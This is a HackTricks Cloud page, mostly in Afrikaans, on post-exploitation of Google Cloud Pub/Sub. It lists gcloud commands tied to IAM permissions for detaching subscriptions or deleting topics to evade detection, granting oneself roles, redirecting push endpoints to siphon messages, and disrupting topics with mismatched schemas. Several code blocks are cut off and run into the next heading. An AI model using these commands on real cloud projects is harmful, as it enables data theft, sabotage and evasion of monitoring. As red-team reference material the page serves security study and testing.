GCP - Pub/Sub Post Exploitation
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die 💬 Discord group of die telegram group of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
Pub/Sub
Vir meer inligting oor Pub/Sub sien die volgende bladsy:
pubsub.topics.publish
Publiseer ’n boodskap in ’n onderwerp — nuttig om onverwagte data te stuur, onverwagte funksionaliteit te aktiveer of kwesbaarhede te misbruik:
Publiseer boodskap in onderwerp
```bash # Publish a message in a topic gcloud pubsub topics publishpubsub.topics.detachSubscription
Nuttig om te verhoed dat subscription boodskappe ontvang, moontlik om opsporing te vermy.
Ontkoppel subscription van topic
```bash gcloud pubsub topics detach-subscriptionpubsub.topics.delete
Nuttig om te verhoed dat ’n subscription boodskappe ontvang, moontlik om opsporing te vermy.
Dit is moontlik om ’n topic te verwyder, selfs al is daar subscriptions daaraan gekoppel.
Verwyder topic
```bash gcloud pubsub topics deletepubsub.topics.update
Gebruik hierdie toestemming om ’n instelling van die onderwerp te verander om dit te ontwrig, soos --clear-schema-settings, --message-retention-duration, --message-storage-policy-allowed-regions, --schema, --schema-project, --topic-encryption-key…
pubsub.topics.setIamPolicy
Gee jouself toestemming om enige van die vorige aanvalle uit te voer.
# Add Binding
gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Remove Binding
gcloud pubsub topics remove-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Change Policy
gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
<(echo '{
"bindings": [
{
"role": "<ROLE_OR_CUSTOM_ROLE>",
"members": [
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
]
}
]
}') \
--project=<PROJECT_ID>
pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)
Kry al die boodskappe in ’n webbediener:
Skep 'n push subscription om boodskappe te ontvang
```bash # Crete push subscription and recieve all the messages instantly in your web server gcloud pubsub subscriptions createSkep ’n subscription en gebruik dit om pull messages:
Skep pull subscription en haal boodskappe op
```bash # This will retrive a non ACKed message (and won't ACK it) gcloud pubsub subscriptions createYou also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull
This command will wait for a message to be posted
</details>
### `pubsub.subscriptions.delete`
**Verwyder subscription** kan nuttig wees om 'n logverwerkingsisteem of iets soortgelyks te ontwrig:
<details>
<summary>Verwyder subscription</summary>
```bash
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
pubsub.subscriptions.update
Gebruik hierdie toestemming om ’n instelling by te werk sodat boodskappe gestoor word op ’n plek wat jy kan bereik (URL, Big Query table, Bucket) of net om dit te ontwrig.
Bywerk subskripsie-endpoint
```bash gcloud pubsub subscriptions update --push-endpointpubsub.subscriptions.setIamPolicy
Gee jouself die permissies wat nodig is om enige van die vroeër genoemde aanvalle uit te voer.
pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)
Koppel ’n schema aan ’n topic sodat die boodskappe daaraan nie voldoen nie en gevolglik die topic ontwrig word.
As daar geen schemas is nie, moet jy moontlik een skep.
Skep schema-lêer en koppel aan topic
```json:schema.json { "namespace": "com.example", "type": "record", "name": "Person", "fields": [ { "name": "name", "type": "string" }, { "name": "age", "type": "int" } ] } ```# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json
pubsub.schemas.delete
Dit mag lyk asof deur ’n schema te verwyder jy boodskappe kan stuur wat nie aan die schema voldoen nie. Egter, aangesien die schema verwyder sal word, sal geen boodskap eintlik in die topic inkom nie. Dus is dit USELESS:
Verwyder schema (nie nuttig nie)
```bash gcloud pubsub schemas deletepubsub.schemas.setIamPolicy
Gee jouself die permissies wat benodig word om enige van die voorafgenoemde attacks uit te voer.
pubsub.snapshots.create, pubsub.snapshots.seek
Dit sal ’n snapshot skep van al die unACKed messages en hulle terug in die subscription plaas. Nie baie nuttig vir ’n attacker nie, maar hier is dit:
Skep snapshot en seek daarna
```bash gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \ --subscription=YOUR_SUBSCRIPTION_NAME gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \ --snapshot=YOUR_SNAPSHOT_NAME ```Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die 💬 Discord group of die telegram group of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
HackTricks Cloud

